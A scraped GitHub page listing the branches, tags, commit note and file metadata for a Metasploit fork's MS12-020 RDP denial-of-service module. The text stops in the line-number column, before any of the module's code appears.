js-select-button-text css-truncate-target" - title="zeroSteiner-module-ms11-080">zeroSteiner-module-ms11-080</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zpanel_zsudo/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zpanel_zsudo" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zpanel_zsudo">zpanel_zsudo</a> - </div> <!-- /.select-menu-item --> - </div> - - <div class="select-menu-no-results">Nothing to show</div> - </div> <!-- /.select-menu-list --> - - <div class="select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket" data-tab-filter="tags"> - <div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring"> - - - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20120213000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20120213000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20120213000001">20120213000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20120131000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20120131000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20120131000001">20120131000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20120124000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20120124000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20120124000001">20120124000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20120117000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20120117000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20120117000001">20120117000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20120110000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20120110000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20120110000001">20120110000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20120103000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20120103000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20120103000001">20120103000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20111227000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20111227000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20111227000001">20111227000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20111219000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20111219000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20111219000001">20111219000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20111214013016/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20111214013016" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20111214013016">20111214013016</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20111213184834/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20111213184834" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20111213184834">20111213184834</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/20111205000001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="20111205000001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="20111205000001">20111205000001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012111402/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012111402" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012111402">2012111402</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012111401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012111401" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012111401">2012111401</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012103101/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012103101" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012103101">2012103101</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012102401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012102401" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012102401">2012102401</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012101702/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012101702" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012101702">2012101702</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012101701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012101701" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012101701">2012101701</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012101002/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012101002" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012101002">2012101002</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012101001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012101001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012101001">2012101001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012100301/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012100301" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012100301">2012100301</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012092601/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012092601" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012092601">2012092601</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012091901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012091901" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012091901">2012091901</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012091202/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012091202" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012091202">2012091202</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012091201/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012091201" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012091201">2012091201</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012090501/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012090501" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012090501">2012090501</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012082901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012082901" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012082901">2012082901</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012082202/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012082202" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012082202">2012082202</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012082201/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012082201" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012082201">2012082201</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012081601/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012081601" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012081601">2012081601</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012080801/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012080801" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012080801">2012080801</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012071701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012071701" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012071701">2012071701</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012071101/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012071101" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012071101">2012071101</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012070401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012070401" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012070401">2012070401</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012062702/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012062702" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012062702">2012062702</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012062701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012062701" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012062701">2012062701</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012062001/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012062001" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012062001">2012062001</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012061301/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012061301" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012061301">2012061301</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012060603/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012060603" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012060603">2012060603</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012060601/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012060601" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012060601">2012060601</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012053002/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012053002" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012053002">2012053002</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012052303/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012052303" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012052303">2012052303</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012051603/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012051603" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012051603">2012051603</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012050901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012050901" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012050901">2012050901</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012050201/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012050201" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012050201">2012050201</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012040401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012040401" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012040401">2012040401</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012032801/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012032801" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012032801">2012032801</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012032101/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012032101" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012032101">2012032101</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012031401/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012031401" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012031401">2012031401</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012030701/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012030701" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012030701">2012030701</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/2012022901/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="2012022901" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="2012022901">2012022901</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/4.4.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="4.4.0" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="4.4.0">4.4.0</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/4.3.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="4.3.0" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="4.3.0">4.3.0</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/4.2-stable/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="4.2-stable" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="4.2-stable">4.2-stable</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/tree/4.2.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="4.2.0" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="4.2.0">4.2.0</a> - </div> <!-- /.select-menu-item --> - </div> - - <div class="select-menu-no-results">Nothing to show</div> - </div> <!-- /.select-menu-list --> - - </div> <!-- /.select-menu-modal --> - </div> <!-- /.select-menu-modal-holder --> -</div> <!-- /.select-menu --> - - <div class="breadcrumb"> - <span class='repo-root js-repo-root'><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">metasploit-framework</span></a></span></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">modules</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">auxiliary</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">dos</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">windows</span></a></span><span class="separator"> / </span><span itemscope="" itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/jvazquez-r7/metasploit-framework/tree/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp" data-branch="5dcff47b1efa5359562a28b5717a9f4895185597" data-direction="back" data-pjax="true" itemscope="url" rel="nofollow"><span itemprop="title">rdp</span></a></span><span class="separator"> / </span><strong class="final-path">ms12_020_maxchannelids.rb</strong> <span class="js-zeroclipboard minibutton zeroclipboard-button" data-clipboard-text="modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" data-copied-hint="copied!" title="copy to clipboard"><span class="octicon octicon-clippy"></span></span> - </div> -</div> - - - - <div class="commit file-history-tease"> - <img class="main-avatar" height="24" src="https://2.gravatar.com/avatar/a678999a2eafe7744646388645761d90?d=https%3A%2F%2Fidenticons.github.com%2F1bbdf7bcc724cf43874759315e061904.png&amp;s=140" width="24" /> - <span class="author"><a href="/jvazquez-r7" rel="author">jvazquez-r7</a></span> - <time class="js-relative-date" datetime="2013-10-04T07:19:14-07:00" title="2013-10-04 07:19:14">October 04, 2013</time> - <div class="commit-title"> - <a href="/jvazquez-r7/metasploit-framework/commit/5dcff47b1efa5359562a28b5717a9f4895185597" class="message" data-pjax="true" title="Add @darknight007's changes to ms12-020 dos">Add</a> <a href="https://github.com/darknight007" class="user-mention">@darknight007</a><a href="/jvazquez-r7/metasploit-framework/commit/5dcff47b1efa5359562a28b5717a9f4895185597" class="message" data-pjax="true" title="Add @darknight007's changes to ms12-020 dos">'s changes to ms12-020 dos</a> - </div> - - <div class="participation"> - <p class="quickstat"><a href="#blob_contributors_box" rel="facebox"><strong>1</strong> contributor</a></p> - - </div> - <div id="blob_contributors_box" style="display:none"> - <h2 class="facebox-header">Users who have contributed to this file</h2> - <ul class="facebox-user-list"> - <li class="facebox-user-list-item"> - <img height="24" src="https://0.gravatar.com/avatar/e6db4e6763a0d347247fe87720d5bdd2?d=https%3A%2F%2Fidenticons.github.com%2F2f12d5da956936bb4d2fd3a4a4076ea9.png&amp;s=140" width="24" /> - <a href="/tabassassin">tabassassin</a> - </li> - </ul> - </div> - </div> - -<div id="files" class="bubble"> - <div class="file"> - <div class="meta"> - <div class="info"> - <span class="icon"><b class="octicon octicon-file-text"></b></span> - <span class="mode" title="File Mode">file</span> - <span>173 lines (158 sloc)</span> - <span>5.917 kb</span> - </div> - <div class="actions"> - <div class="button-group"> - <a class="minibutton disabled js-entice" href="" - data-entice="You must be signed in to make or propose changes">Edit</a> - <a href="/jvazquez-r7/metasploit-framework/raw/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" class="button minibutton " id="raw-url">Raw</a> - <a href="/jvazquez-r7/metasploit-framework/blame/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" class="button minibutton ">Blame</a> - <a href="/jvazquez-r7/metasploit-framework/commits/5dcff47b1efa5359562a28b5717a9f4895185597/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" class="button minibutton " rel="nofollow">History</a> - </div><!-- /.button-group --> - <a class="minibutton danger empty-icon js-entice" href="" - data-entice="You must be signed in and on a branch to make or propose changes"> - Delete - </a> - </div><!-- /.actions --> - - </div> - <div class="blob-wrapper data type-ruby js-blob-data"> - <table class="file-code file-diff"> - <tr class="file-code-line"> - <td class="blob-line-nums"> - <span id="L1" rel="#L1">1</span> -<span id="L2" rel="#L2">2</span> -<span id="L3" rel="#L3">3</span> -<span id="L4" rel="#L4">4</span> -<span id="L5" rel="#L5">5</span> -<span id="L6" rel="#L6">6</span> -<span id="L7" rel="#L7">7</span> -<span id="L8" rel="#L8">8</span> -<span id="L9" rel="#L9">9</span> -<span id="L10" rel="#L10">10</span> -<span id="L11" rel="#L11">11</span> -<span id="L12" rel="#L12">12</span> -<span id="L13" rel="#L13">13</span> -<span id="L14" rel="#L14">14</span> -<span id="L15" rel="#L15">15</span> -<span id="L16" rel="#L16">16</span> -<span id="L17" rel="#L17">17</span> -<span id="L18" rel="#L18">18</span> -<span id="L19" rel="#L19">19</span> -<span id="L20" rel="#L20">20</span> -<span id="L21" rel="#L21">21</span> -<span id="L22" rel="#L22">22</span> -<span id="L23" 